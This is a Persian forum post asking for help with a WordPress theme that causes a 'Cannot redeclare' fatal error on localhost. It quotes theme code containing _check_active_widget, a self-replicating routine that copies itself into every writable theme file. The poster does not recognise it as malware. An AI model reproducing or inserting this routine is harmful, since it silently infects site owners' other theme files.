سلام دوستان


قالبی رو در وردپرس (تو لوکال هاست) نصب کردم .

حالا می خوام وارد صفحه وردپرس بشم، اما پیغام زیر نمایش داده می شه :


Fatal error: Cannot redeclare __popular_posts() (previously declared in F:\wamp\www\wp\wp-content\themes\Wordpress98_bueno_persian\functions .php:222) in F:\wamp\www\wp\wp-content\themes\Wordpress98_bueno_persian\functions .php on line 470

چی کار کنم؟

خط 470 به بعد در فایل پیغام بالا : (علامت های } و { در کدهای پایین برعکس نمایش داده شده اند.
}
?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripo s(file_get_contents(__FILE__),"<"."?"));$output="" ;$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(_ _FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos (substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">" ) + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
چی کار کنم؟ مشکل چیه؟
حتی نمی تونم وارد صفحه مدیریت بشم.